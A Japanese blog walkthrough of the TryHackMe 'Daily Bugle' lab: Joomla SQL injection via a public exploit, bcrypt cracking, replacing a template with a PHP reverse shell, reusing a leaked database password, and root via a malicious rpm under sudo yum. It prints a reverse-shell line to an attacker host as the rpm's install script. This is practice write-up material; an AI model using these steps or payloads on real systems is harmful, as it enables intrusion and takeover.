🔥

[Try Hack Me] Daily Bugle (Walk Through)

2023/12/02に公開

Try Hack MeのDaily Bugleをやってみたので,自分の振り返りも兼ねて手順を残しておこうと思います.
(あとこういうの書いたこと無いから書いてみたかった^^)

問題について

https://tryhackme.com/room/dailybugle
紹介文を読むと
"Compromise a Joomla CMS account via SQLi, practise cracking hashes and escalate your privileges by taking advantage of yum."
とのことです.(すごいネタバレするやん)

解く

とりあえずポートスキャンする.

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey: 
|   2048 68:ed:7b:19:7f:ed:14:e6:18:98:6d:c5:88:30:aa:e9 (RSA)
|   256 5c:d6:82:da:b2:19:e3:37:99:fb:96:82:08:70:ee:9d (ECDSA)
|_  256 d2:a9:75:cf:2f:1e:f5:44:4f:0b:13:c2:0f:d7:37:cc (ED25519)
80/tcp   open  http    Apache httpd 2.4.6 ((CentOS) PHP/5.6.40)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-favicon: Unknown favicon MD5: 1194D7D32448E1F90741A97B42AF91FA
|_http-generator: Joomla! - Open Source Content Management
|_http-title: Home
| http-robots.txt: 15 disallowed entries 
| /joomla/administrator/ /administrator/ /bin/ /cache/ 
| /cli/ /components/ /includes/ /installation/ /language/ 
|_/layouts/ /libraries/ /logs/ /modules/ /plugins/ /tmp/
|_http-server-header: Apache/2.4.6 (CentOS) PHP/5.6.40
3306/tcp open  mysql   MariaDB (unauthorized)

sshとウェブページとmySQLが見えます.
デフォルトの3306でmySQLを外部公開しちゃうのはよろしくない,と習いました.
よろしくないですね.

ウェブページはこんな感じ,ブログみたいな感じでしょうか.ログインフォームもあります.

ディレクトリ探索もしておきます

/administratorが気になります.見てみると,

ログインページが出てきました.多分後で使うのでしょう.

問題でJoomlaのバージョンを聞かれているので探してみます.
こちらのサイトを参考に
http://<targetIP>/language/en-GB/en-GB.xmlを見てみると

書いてありました.
joomlaのバージョンは3.7.0です.

で,ここで"Instead of using SQLMap, why not use a python script!"という誘導があります.
OSCPはSQLMap使ったらだめですもんね.

SQLインジェクションとか書いてあるので,パスワードに' or 1=1#とか入れてみたりしてみたんですけど,そんなに甘くなかったです.

一旦何かないかググってみます.
https://github.com/stefanlucas/Exploit-Joomla

joomla 3.7.0のSQLインジェクションの脆弱性に効く,pythonのコードが見つかりました.
使ってみます.

なんかパスワードハッシュっぽいのが出てきてます.

Found user ['811', 'Super User', 'jonah', 'jonah@tryhackme.com', '$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm', '', '']

$2y$10$って何だ?これも含めてjohnTheRipperしてみたらいいのかな?と思って調べてみたら,これは"Bcrypt"というハッシュアルゴリズムでハッシュ化されたパスワードらしく,"2y"はハッシュアルゴリズムのバージョンを"10"はストレッチング回数を表しているらしいです.

$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutmを全部hash.txtに入れてJohnTheRipperに渡してみます.

パスワードはspiderman123らしい.

(ここでメモ)
echoする時''で囲んで文字列だよ!としてあげないといけません.

あれ!?ってなりました.

出てきたパスワードを使ってログインします.
http://<targetIP>/のログインフォームにログインしてみたのですが,特に何もありませんでした.
ここで/administratorがあったのを思い出しました.そっちでログインします.

管理ページが出てきました.
なんかファイルアップロードしたりできそうです.
リバースシェルのコードを置けて,それを読み込むことが出来たら嬉しいですね.
index.phpとか変えれたりしないかな...

とググっていたら
https://www.hackingarticles.in/joomla-reverse-shell/

なんか変えれそうです.
Templatesの"beez3"の"index.php"を開きます.

この中身をドーンと変えちゃいます.

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php
こちらを使わせて頂きます.(IPとPORTを自分のものに変えます)

netcatで待ち受けて,ウェブページをリロードします.

何も来ません.

ちょっと戻ってみます.

この下の方だったんじゃない?星付いてるし,Default for all pagesとか書いてあるし,多分そうです.

同じようにindex.phpを変えます.
そして,netcatで待ち受けて,ウェブページをリロードします.

来ました!


でもuser.txtはまだ早いみたいです.

今,私は"apache"みたいなので"jjameson"になりたいですね.
分からないので,linpeasします.

なんかのパスワードでしょうか??

sh-4.2$ cat /var/www/html/configuration.php
cat /var/www/html/configuration.php
<?php
class JConfig {
        public $offline = '0';
       ...
        public $host = 'localhost';
        public $user = 'root';
        public $password = 'nv5uz9r3ZEDzVjNu';
        public $db = 'joomla';
       ...
        public $session_handler = 'database';
        public $shared_session = '0';
}sh-4.2$ 

rootかjjamesonのパスワードだったりしないかなと試します.

jjamesonさんになれました.

権限昇格したい

yumがどうのと書いてあったのでyumのバージョンを調べてみます.

[jjameson@dailybugle tmp]$ yum --version
3.4.3
インストール: rpm-4.11.3-40.el7.x86_64 (日時: 2019-12-14 18:58)
  構築      : CentOS BuildSystem <http://bugs.centos.org>  (日時: 2019-08-06 22:50)
  コミット  : Pavlina Moravcova Varekova <pmoravco@redhat.com> (日時: 2019-05-26)

インストール: yum-3.4.3-163.el7.centos.noarch (日時: 2019-12-14 18:58)
  構築      : CentOS BuildSystem <http://bugs.centos.org>  (日時: 2019-08-08 11:57)
  コミット  : CentOS Sources <bugs@centos.org> (日時: 2019-08-06)

インストール: yum-plugin-fastestmirror-1.1.31-52.el7.noarch (日時: 2019-12-14 18:58)
  構築      : CentOS BuildSystem <http://bugs.centos.org>  (日時: 2019-08-09 03:26)
  コミット  : Michal Domonkos <mdomonko@redhat.com> (日時: 2019-04-26)

"yum 3.4.3 exploit"等とググってみたのですが特になんかいいものはありません.

もう一度linpeasを召喚します.

凄くオレンジです!

SUDOでyumが使えるみたいです.

rpmパッケージを作って,それがインストールされる時にペイロードを実行出来たらいいわけです.
以下のように,ペイロード,shshsh.shを作成します.

shshsh.sh
#!/bin/bash

bash -i >& /dev/tcp/<attacker>/<port> 0>&1

こんな感じでrpmパッケージを作ります.

意味は

  • -n root パッケージ名を"root"に
  • -s dir ソースの種類,ディレクトリです
  • -t rpm ターゲットの種類,rpmパッケージを作って欲しいので"rpm"とします
  • --before-install /tmp/rpmtest/shshsh.sh インストールの前に実行されるスクリプトを指定する.今回"shshsh.sh"を指定! ← これが大事
  • /tmp/rpmtest パッケージとして作成されるディレクトリ

です.

参考
https://medium.com/@klockw3rk/privilege-escalation-how-to-build-rpm-payloads-in-kali-linux-3a61ef61e8b2
https://gtfobins.github.io/gtfobins/yum/

こうして作られた"root-1.0-1.noarch.rpm "をtargetに置きます.
netcatで待ち受けて,target側でsudo yum localinstall -y root-1.0-1.noarch.rpmを実行します.

rootとれました!

感想

SQLiの部分も,yumを使った権限昇格の部分も,誘導がなければだいぶ苦戦していたと思うし,色んなサイトの言う通りにしただけなので,何をしたかをちゃんと理解して,自分の力で解いていけるように頑張って行きたいと思います.

Discussion